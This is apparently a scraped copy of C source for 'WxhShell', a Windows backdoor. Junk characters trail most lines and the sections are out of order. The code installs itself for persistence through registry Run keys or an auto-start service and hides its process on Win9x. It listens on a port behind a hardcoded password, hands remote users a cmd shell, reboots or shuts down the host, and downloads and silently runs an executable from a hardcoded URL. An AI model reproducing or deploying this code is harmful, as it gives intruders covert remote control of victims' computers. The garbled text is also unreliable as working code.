  // 关机 c$  /.Xp  
  case 'd': { ^dpM2$J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w<B S  
    if(Boot(SHUTDOWN)) 9CS" s_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *B3f ry  
    else { ?c?@j}=?yY  
    closesocket(wsh); qR.FjQOvn  
    ExitThread(0); C?|sQcCE  
    } }p?,J8=-  
    break; l?)>"^  
    } Wq3PN^  
  // 获取shell h^(U:M=A  
  case 's': { T)e2IXGN  
    CmdShell(wsh); fc~fjtqwvz  
    closesocket(wsh); D]E=0+  
    ExitThread(0); 6{5T^^x?<  
    break; 'yCVB&`b  
  } a>vxox) %  
  // 退出 2e\"?yOD  
  case 'x': { Yuv=<V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _zDS-e@  
    CloseIt(wsh); Tp-W/YC  
    break; ,C6(  
    } N[Xm5J  
  // 离开 +}m`$B}mJ  
  case 'q': { <9&GOaJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h1q 3}-  
    closesocket(wsh); O h e^{:  
    WSACleanup(); (.$$U3\  
    exit(1); 5{yg  
    break; }$<v  
        } Z><+4 '  
  } C5(XZscq  
  } # fF5O2E'3  
?xwi2<zz  
  // 提示信息 y" H5>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .*N,x(V  
} }uMu8)Q  
  } =EVB?k ,  
OF*E1B M  
  return; D% *ww'mt0  
} gA=Pz[i)p  
$z OV*O2  
// shell模块句柄 N=u( 3So  
int CmdShell(SOCKET sock) qf K gNZ  
{ 7J3A]>qU  
STARTUPINFO si; kmBA  
ZeroMemory(&si,sizeof(si)); _L)LyQD]T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gd C=>\]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <!t;[ie?y  
PROCESS_INFORMATION ProcessInfo; Gu{1%bb#kL  
char cmdline[]="cmd"; fUvXb>f,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kDJYEI9j>  
  return 0; d0T 8Cwc b  
} .?#Q(eLj  
\0lQ1FrY  
// 自身启动模式 L__{U_p  
int StartFromService(void) ,8DC9yM,  
{ W ~MNst?  
typedef struct <>KQ8:  
{ +mG"m hF  
  DWORD ExitStatus; :JBt qpo2  
  DWORD PebBaseAddress; MA{ZmPm)  
  DWORD AffinityMask; I[A<e]uK  
  DWORD BasePriority; nEUH;z  
  ULONG UniqueProcessId; >Ch2Ep  
  ULONG InheritedFromUniqueProcessId; Zah<e6L  
}   PROCESS_BASIC_INFORMATION; -ik$<>{X  
@[FO;4w  
PROCNTQSIP NtQueryInformationProcess; iaMl>ua  
t(UBs-t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z*VK{O)o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6GAEQ]  
M.SF}U  
  HANDLE             hProcess; 0XljFQ  
  PROCESS_BASIC_INFORMATION pbi; .`KzA]&#  
\|vo@E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p}~Sgi  
  if(NULL == hInst ) return 0; ymrnu-p o  
,4,Bc<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F'wG%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9[~.{{Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nIOSP :'>  
~W"@[*6w  
  if (!NtQueryInformationProcess) return 0; `<@ "WSn  
a"}ndrc*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `+."X1  
  if(!hProcess) return 0; @(6P L^I  
iqoMQ7%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gr!!pp;  
uu-M7>+  
  CloseHandle(hProcess); |pknaz  
bWp)'mx5u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (3K,f4S@  
if(hProcess==NULL) return 0; /V/ )A\g  
eF0FQlMe[  
HMODULE hMod; wk?i\vm  
char procName[255]; 6e|uA7i4  
unsigned long cbNeeded; D1ik*mDA=  
e~he#o[%a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >C{8}Lg-.  
6*1f -IbV  
  CloseHandle(hProcess); $? Z}hU  
iig4JP'h  
if(strstr(procName,"services")) return 1; // 以服务启动 x*j eCD,  
c8zok `\P_  
  return 0; // 注册表启动 ifWQwS/,a  
} "J&WH~8+N  
TrgKl2xfx  
// 主模块 m1K4_a)^[  
int StartWxhshell(LPSTR lpCmdLine) Z6So5r%wZ  
{ E>|fbaN-%  
  SOCKET wsl; giIPK&  
BOOL val=TRUE; wKpD++k  
  int port=0; mq}uq9<  
  struct sockaddr_in door; o=zl{tZV  
wqjR-$c  
  if(wscfg.ws_autoins) Install(); r~|7paX!  
ifl LY7j  
port=atoi(lpCmdLine); d BM{]@bZ  
Y#P!<Q>}  
if(port<=0) port=wscfg.ws_port; jMX+uYx M  
Rw63{b/  
  WSADATA data; }YiFiGf,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >`yRL[c;  
`PLax@]2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %LqT>HXJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +~==qLsU  
  door.sin_family = AF_INET; b'4}=Xpn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tr A ^JY  
  door.sin_port = htons(port); l"h6e$dP  
/,< s9 :  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p? w^|V  
closesocket(wsl); ))X"bFP!3  
return 1; Q 4L7{^[X  
} I4 <_y5  
ZBH^0  
  if(listen(wsl,2) == INVALID_SOCKET) { x*X{*?5@  
closesocket(wsl); 8X? EB6=c  
return 1; ~XXNzz ]?  
} JCB3 BZg7&  
  Wxhshell(wsl); _$vbb#QXZG  
  WSACleanup(); T' Jl,)"  
=RM]/O9  
return 0; IQ$6}.  
[1Qg *   
} +'w6=qI  
!4z vkJO  
// 以NT服务方式启动 4kK_S.&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V~-tp^  
{ ^%\MOjSN  
DWORD   status = 0; R9K~b^`  
  DWORD   specificError = 0xfffffff; Y!y pG-  
2PNe~9)*#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {g4w[F!77  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y\:Ma7V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^FTS'/Q  
  serviceStatus.dwWin32ExitCode     = 0; pz{ ]O_px  
  serviceStatus.dwServiceSpecificExitCode = 0; &:}WfY!hX  
  serviceStatus.dwCheckPoint       = 0; J9J/3O Q=  
  serviceStatus.dwWaitHint       = 0; xlsAct:  
I2) 2'j,B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4T~wnTH0Xg  
  if (hServiceStatusHandle==0) return; SoFl]^l  
G~ 4G$YL*  
status = GetLastError(); M D& 7k,!  
  if (status!=NO_ERROR) EACI>  
{ zW`a]n.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p%#'`*<a_  
    serviceStatus.dwCheckPoint       = 0; w xa MdA  
    serviceStatus.dwWaitHint       = 0; 4~;M\h  
    serviceStatus.dwWin32ExitCode     = status; d\c)cgh%  
    serviceStatus.dwServiceSpecificExitCode = specificError; q}z`Z/`/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rodqa  
    return; IF6-VFY:6  
  } :+?r nb)N  
93,7yZ 5#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q(2ZJn13f  
  serviceStatus.dwCheckPoint       = 0; ?O]RQXsZ2  
  serviceStatus.dwWaitHint       = 0; X]W(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uA t{WDHm  
} _ib @<%  
AW!A +?F6  
// 处理NT服务事件,比如:启动、停止 iG=Di)O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }{&;\^i  
{ CHCT e  
switch(fdwControl) [;~"ctf{  
{ nuA 0%K  
case SERVICE_CONTROL_STOP: F]0 qt$GO  
  serviceStatus.dwWin32ExitCode = 0; Jy('tfAHp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hL}ZPHA  
  serviceStatus.dwCheckPoint   = 0; cT;Zz5  
  serviceStatus.dwWaitHint     = 0; *|@386\  
  { $e  uI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PY+4OZ$  
  } =u.23#.  
  return; Nz; \PS  
case SERVICE_CONTROL_PAUSE: z"Cyjmg"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O{U j  
  break; `'pAiu  
case SERVICE_CONTROL_CONTINUE: a#9pN?~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p|BoEITL  
  break; %E [HMq<H  
case SERVICE_CONTROL_INTERROGATE: U: )Gc  
  break; k7cY^&o  
}; ^oW{N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zW)Wt.svP  
} RU>qj *e  
@Q;s[Kg{!  
// 标准应用程序主函数 mwI7[I2q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ua ky2SgN  
{ dI!/H&`B]  
6mgLeeY  
// 获取操作系统版本 mGkQx -|  
OsIsNt=GetOsVer(); uW!saT5o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #nAq~@X  
;&O *KhLH  
  // 从命令行安装 +B&+FGfNU  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~sq@^<M)s  
?a1pO#{Dg  
  // 下载执行文件 6)20%*[  
if(wscfg.ws_downexe) { +m/n~-6q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M9Nr/jE  
  WinExec(wscfg.ws_filenam,SW_HIDE); :l?mNm5  
} Bx5kqHp^1  
q[/pE7FL  
if(!OsIsNt) { !DF5NA E  
// 如果时win9x,隐藏进程并且设置为注册表启动 'P[#.9E  
HideProc(); j"VDqDDz  
StartWxhshell(lpCmdLine); "{Y6.)x  
} 8N3y(y0  
else rI6+St  
  if(StartFromService()) 4G XS(  
  // 以服务方式启动 <z>oY2%  
  StartServiceCtrlDispatcher(DispatchTable); $q .}eb0  
else QBN\wL8g  
  // 普通方式启动 v53|)]V  
  StartWxhshell(lpCmdLine); ~03MH'  
F!*GrQms  
return 0; ?zbWz=nq  
} wkV'']= Xg  
BL"7_phM,  
Ed2A\S6tl  
uv^x  
=========================================== HIC!:|  
|k,-]c;6  
)+w1nw|m  
DVJn;X^T:  
{];-b0MS~  
n+i=Ff  
" KDH<T4#x  
1EWZA  
#include <stdio.h> PrA(==FX/  
#include <string.h> Xkg  
#include <windows.h> ["4Tn0g ;  
#include <winsock2.h> g-]~+7LL  
#include <winsvc.h> *-{|m1P  
#include <urlmon.h> *;~u 5y2b  
U=U5EdN;  
#pragma comment (lib, "Ws2_32.lib") AYpvGl'  
#pragma comment (lib, "urlmon.lib") P|]r*1^5  
U4yl{?  
#define MAX_USER   100 // 最大客户端连接数 pVrY';[,|  
#define BUF_SOCK   200 // sock buffer Uqy/~n-v<  
#define KEY_BUFF   255 // 输入 buffer e0otr_)3F  
bMNr +N  
#define REBOOT     0   // 重启 }&= =;7,O  
#define SHUTDOWN   1   // 关机 \j3dB tc  
?,8+1"|$A]  
#define DEF_PORT   5000 // 监听端口 XrWWV2[  
rPqM&&+  
#define REG_LEN     16   // 注册表键长度 a(D=ZKbVU  
#define SVC_LEN     80   // NT服务名长度 $$"G1<EZ  
+%u3% }  
// 从dll定义API p8?v o ?^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >}W[>WReI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HXztEEK6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bS954d/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %\n|2*r  
f fBd  
// wxhshell配置信息 a7453s  
struct WSCFG { `(=Kp=b  
  int ws_port;         // 监听端口 7mMMVz2  
  char ws_passstr[REG_LEN]; // 口令 cO 5zg<wF  
  int ws_autoins;       // 安装标记, 1=yes 0=no =6"5kz10  
  char ws_regname[REG_LEN]; // 注册表键名 {<Gp5j  
  char ws_svcname[REG_LEN]; // 服务名 o0|Ex\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pe\Nwq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 V/kndV[j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {*[(j^OE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no { I\og  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SY%y*6[6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0y?;o*&U\  
-B&(& R  
}; gZ7R^] k  
UxzF5V5  
// default Wxhshell configuration 2Q5@2jT  
struct WSCFG wscfg={DEF_PORT, Hbd>sS  
    "xuhuanlingzhe", z ynu0X  
    1, AX<f$%iqD  
    "Wxhshell", Y0A(- "  
    "Wxhshell", ;FRUB@:  
            "WxhShell Service", _vDmiIn6K  
    "Wrsky Windows CmdShell Service", .kn2M&P>=  
    "Please Input Your Password: ", a#;;0R $  
  1, #jW=K&;  
  "http://www.wrsky.com/wxhshell.exe", TjYHoL5  
  "Wxhshell.exe" &} `a"tYr  
    }; =!xX{o?64  
q CYu@Ho  
// 消息定义模块 "QiR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PPIO<K 3`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $?bD55  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L \E>5G;  
char *msg_ws_ext="\n\rExit."; &tvp)B?cWk  
char *msg_ws_end="\n\rQuit."; l &'q+F  
char *msg_ws_boot="\n\rReboot..."; EwA*  
char *msg_ws_poff="\n\rShutdown..."; 4gsQ:3  
char *msg_ws_down="\n\rSave to "; 7bihP@I !  
VJ&<6  
char *msg_ws_err="\n\rErr!"; ,m5i(WL  
char *msg_ws_ok="\n\rOK!"; p\lR1  
UU MB"3e  
char ExeFile[MAX_PATH]; E5M/XW\E6  
int nUser = 0; !]82$  
HANDLE handles[MAX_USER]; =\5WYC  
int OsIsNt; G[yzi  
hr6j+p:  
SERVICE_STATUS       serviceStatus; }&e HU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k:R\;l5  
]\ _tO  
// 函数声明 ce}A!v  
int Install(void); ;p`to"6IFD  
int Uninstall(void); ~uty<fP  
int DownloadFile(char *sURL, SOCKET wsh); /pPH D]  
int Boot(int flag); PQ[?zNrSV  
void HideProc(void); 4Z~ nWs  
int GetOsVer(void); -bzlp7q*  
int Wxhshell(SOCKET wsl); 5~@-LXqL  
void TalkWithClient(void *cs); $["HC-n?.k  
int CmdShell(SOCKET sock); j2UQQFh  
int StartFromService(void); e&d$kUJrq  
int StartWxhshell(LPSTR lpCmdLine); $DIy?kZ  
h%ys::\zF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A#T"4'#?<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PENB5+1OK  
!V3+(o 1  
// 数据结构和表定义 L%is"NZh  
SERVICE_TABLE_ENTRY DispatchTable[] = d$3md<lIB  
{ >{tn2Fkg>  
{wscfg.ws_svcname, NTServiceMain}, 6{=U= *  
{NULL, NULL} Af]zv~uM  
}; w|s2f`!  
n-cI~Ax+4  
// 自我安装 `hkvxt  
int Install(void) YYYF a  
{ `@],J  
  char svExeFile[MAX_PATH]; E OXkMr  
  HKEY key; <KU 0K  
  strcpy(svExeFile,ExeFile); hQm=9gS  
0't)-Pj+,  
// 如果是win9x系统,修改注册表设为自启动 [07E-TT2U  
if(!OsIsNt) { zdrP56rzZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D5@=#/?*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ofQs /  
  RegCloseKey(key); VPYLDg.'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *m+FMyr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9U6$-]J  
  RegCloseKey(key); bHnKtaK4c  
  return 0; x-CjxU3  
    } B#%QY\<X  
  } yj4"eDg]  
} N{HAWB{  
else { u0&R*YV  
9d#?,:JG  
// 如果是NT以上系统,安装为系统服务 >*ls} q^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .eD&UQ  
if (schSCManager!=0) jsE8=zZs  
{ zP #:Tv'  
  SC_HANDLE schService = CreateService S u6kpC!EW  
  ( ]A%3\)r  
  schSCManager, 0j!3\=P$  
  wscfg.ws_svcname, Ne Y*l  
  wscfg.ws_svcdisp, qm!oJL  
  SERVICE_ALL_ACCESS, V=8db% ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (c0L H  
  SERVICE_AUTO_START, xB Wl|j  
  SERVICE_ERROR_NORMAL, e72Fz#<q  
  svExeFile, 63=&??4  
  NULL, p;}`PW  
  NULL, m 1; Htw  
  NULL, h@$SJe(hl  
  NULL, +d\o|}c  
  NULL *P=3Pl?j  
  ); 5S!#^>_  
  if (schService!=0) 7wh4~  
  { <|_>r`@%l  
  CloseServiceHandle(schService); 0q"4\#4l  
  CloseServiceHandle(schSCManager); )y*&&q   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *mp:#'  
  strcat(svExeFile,wscfg.ws_svcname); $5 mGYF]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3Jizv,?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yO)xN=o^\  
  RegCloseKey(key); }? / Blr  
  return 0; lz#.f,h  
    } 7gf(5p5ZV  
  } q=88*Y  
  CloseServiceHandle(schSCManager); #ay/VlD@  
} NgyEy n \  
} QvZ"{  
FJtmRPP[r  
return 1; #U`AK9rP_g  
} 1*hEbO  
_dd! nU\A|  
// 自我卸载 .>R`#@+I  
int Uninstall(void) 8)9-*Bzj   
{ YXWDbr:JX  
  HKEY key; ,M3hE/rb/  
O00;0wu  
if(!OsIsNt) { i&>^"_4rc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }jCO@v;  
  RegDeleteValue(key,wscfg.ws_regname); ({t^/b*8  
  RegCloseKey(key); +=E\sEe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \KhcNr?ja=  
  RegDeleteValue(key,wscfg.ws_regname); Zo&i0%S\E  
  RegCloseKey(key); i-v: %  
  return 0; n<8WjrK  
  } =|E "  
} n/1t UF  
} ik(YJw'i7E  
else { gW~T{+f  
qK.(w Fx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 68u?}8}  
if (schSCManager!=0) Hj{.{V  
{ rk1,LsZVS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 59)w+AW  
  if (schService!=0) bfz7t!A)A  
  {  `qs,V  
  if(DeleteService(schService)!=0) { L3Y,z3/  
  CloseServiceHandle(schService); h<%$?h+}  
  CloseServiceHandle(schSCManager); J "I,]  
  return 0; ; H ;h[  
  } /lC# !$9vz  
  CloseServiceHandle(schService); +I3Vfv  
  } Q")Xg:  
  CloseServiceHandle(schSCManager); >IaGa!4  
} oI ick  
} 4aOz=/x2  
!2!Zhw2u  
return 1; 5]dlD #  
} \"ahs7ABT  
`qhT  
// 从指定url下载文件 <h:xZtz  
int DownloadFile(char *sURL, SOCKET wsh) nvrh7l9nX  
{ ^.LB(GZ,  
  HRESULT hr; 95'+8*YCY  
char seps[]= "/"; 0V<kpC,4  
char *token; kMVr[q,MEq  
char *file; O`y3H lc  
char myURL[MAX_PATH]; GLO3v. n;  
char myFILE[MAX_PATH]; _:9}RT?  
es6YxMg  
strcpy(myURL,sURL); e}?Q&Lci  
  token=strtok(myURL,seps); bfA>kn0C  
  while(token!=NULL) Qg/FFn^Kg*  
  { j<kW+Iio  
    file=token; Am*IC?@tq  
  token=strtok(NULL,seps); B%\&Q @X  
  } _\\Al v.  
]\^O(BzB  
GetCurrentDirectory(MAX_PATH,myFILE); Nt $4;  
strcat(myFILE, "\\"); ]Y I9  
strcat(myFILE, file); eX#.Zt]  
  send(wsh,myFILE,strlen(myFILE),0); &qg6^&  
send(wsh,"...",3,0); CPy>sV3Ru0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >)M1X?HI5  
  if(hr==S_OK) .@)vJtH)  
return 0; L/rf5||@  
else P{A})t7  
return 1; M584dMM  
5{b;wLi$X2  
} O;RBK&P  
j#p;XI  
// 系统电源模块 zk{d*gN  
int Boot(int flag) "e"#k}z9  
{ EF<TU.)Zf  
  HANDLE hToken; Xsa8YP9  
  TOKEN_PRIVILEGES tkp; kfnh1|D=aY  
Qq:}Z7 H  
  if(OsIsNt) { Q$5 t~*$`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4\-11!'08  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =?C <@  
    tkp.PrivilegeCount = 1; k( 0;>)<i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; nRBS&&V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6,YoP|@0  
if(flag==REBOOT) { 3 zh:~w_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :8@)W<>%  
  return 0; 2p, U ^h  
}  p[P# !  
else { f>6{tI 5X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) SWzqCF  
  return 0; n}a`|Nbk  
} zn-=mk;W  
  } =%~- M  
  else { ftRFG  
if(flag==REBOOT) { U3&GRY|##  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |j0_^:2r=  
  return 0; -& (iU#W  
} yP3I^>AZ3  
else { Ua \f]y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m OUO)[6y  
  return 0; WOj}+?/3 R  
} } +Sp7F1q  
} Zy7kPL;b  
"T=j\/Q  
return 1; FUL3@Gb$UV  
} s]99'Q",  
.9x* YS  
// win9x进程隐藏模块 %WU=Vy4  
void HideProc(void) zlEI_th:~  
{ V7U*09 0*5  
goiI* " 6M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IoOOS5a  
  if ( hKernel != NULL ) 8WV5'cX  
  { w98M #GqV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GAY?F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9BZ B1o X  
    FreeLibrary(hKernel); }i^M<A O  
  } *~P| ? D'  
-}<Ru)  
return; !k% PP  
} J#C4A]A  
+#wVe  
// 获取操作系统版本 H,TApF89A  
int GetOsVer(void) "=DQ {(L  
{ #EUT"^:d  
  OSVERSIONINFO winfo; 3\RD %[}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qZ!kVrmg&  
  GetVersionEx(&winfo); @>(JC]HtR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bxYSZCo*  
  return 1; mQ1  
  else TXM/+sd  
  return 0; ]a/dvj}  
} 5xr>B7MRM?  
hkl0N%[  
// 客户端句柄模块 rrfJs  
int Wxhshell(SOCKET wsl) f 4pIF"U9>  
{ ?J2A.x5` a  
  SOCKET wsh; \LJ!X3TZ  
  struct sockaddr_in client; @#hQ0F8  
  DWORD myID; ~.x#ic  
`scW.Vem  
  while(nUser<MAX_USER) Vf:.C|Z  
{ 5)Z=FUupA~  
  int nSize=sizeof(client); qnyacI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nmn/4>  
  if(wsh==INVALID_SOCKET) return 1;  GpTZp#~;  
.$p eq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >dK0&+A  
if(handles[nUser]==0) G.O;[(3ab  
  closesocket(wsh); n eu<zSS  
else Q^va +O  
  nUser++; !+$QN4{9  
  } .Bkfe{^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); to).PI?  
r&xIVFPI[  
  return 0; O1jiD_Y!9  
} #m{(aa9;  
F^{31iU~CX  
// 关闭 socket zf)*W#+  
void CloseIt(SOCKET wsh) 4r_*: $g  
{ '2Zs15)V  
closesocket(wsh); '%/=\Q`  
nUser--; y(<{e~  
ExitThread(0); AVLY|79#  
} >|RoLV  
MzB.Vvsy%9  
// 客户端请求句柄 <LH6my  
void TalkWithClient(void *cs) \YJQN3^46>  
{ vbJdhaf  
tH; 6 Mp;f  
  SOCKET wsh=(SOCKET)cs; %`pi*/(  
  char pwd[SVC_LEN]; ^! h3#4  
  char cmd[KEY_BUFF]; Kn$t_7AF^  
char chr[1]; ?`Z:vqp>Z  
int i,j; {Pe&J2 +  
7_3 PM 3C  
  while (nUser < MAX_USER) { M^\`~{*T  
1E!.E=Y ?M  
if(wscfg.ws_passstr) { ylos6]zS8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GKEOjaE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H[: lQ\  
  //ZeroMemory(pwd,KEY_BUFF); ,#BD/dF  
      i=0; sK W~+ ]  
  while(i<SVC_LEN) { {9;-5@b  
tkm@&e=e%  
  // 设置超时 E3p$^['vx  
  fd_set FdRead; whe%o  
  struct timeval TimeOut; lE%KzX?&  
  FD_ZERO(&FdRead); H/`@6, j  
  FD_SET(wsh,&FdRead); tc.|mIvw  
  TimeOut.tv_sec=8; o_=4Ex "  
  TimeOut.tv_usec=0; @Oz3A<M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P=}dR&gk'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !/H `   
:Nf(:D8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %I`'it2d  
  pwd=chr[0]; zQO 1%g  
  if(chr[0]==0xd || chr[0]==0xa) { AXxyB"7A}  
  pwd=0; O0rvr$.  
  break; dm"x?[2:  
  } f uU"  
  i++;  l #]#_  
    } xc-[gt6  
Qt\:A!'jw  
  // 如果是非法用户,关闭 socket 9a@S^B>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P//nYPyzg  
} ^PE|BCs  
(bsywM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yz,_\{}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L;g2ZoqIr0  
^-Arfm%dn  
while(1) { #a@jt  
W,,3@:  
  ZeroMemory(cmd,KEY_BUFF); m4uh<;C~  
dm_Pz\ *  
      // 自动支持客户端 telnet标准   -#;ZZ \fdj  
  j=0; %L)QTv/  
  while(j<KEY_BUFF) { BE&8E\w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *1-0s*T  
  cmd[j]=chr[0]; JgHYuLB  
  if(chr[0]==0xa || chr[0]==0xd) { dg*xo9Xi`  
  cmd[j]=0; EJz!#f~  
  break; . WJ  
  } jR:\D_:  
  j++; R$IsP,Uw  
    } e\aW~zs 2  
{=Ji2k0U'  
  // 下载文件 0H%zkJ>Q  
  if(strstr(cmd,"http://")) { ro?.w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Zw4%L?   
  if(DownloadFile(cmd,wsh)) pHoxw|'Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FeZWS>N  
  else )#4(4 @R h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v5 p`=Z@%  
  } QA~F  
  else { 8?'=Aeo  
;){ZM,Ox  
    switch(cmd[0]) { >(YH@Z&;  
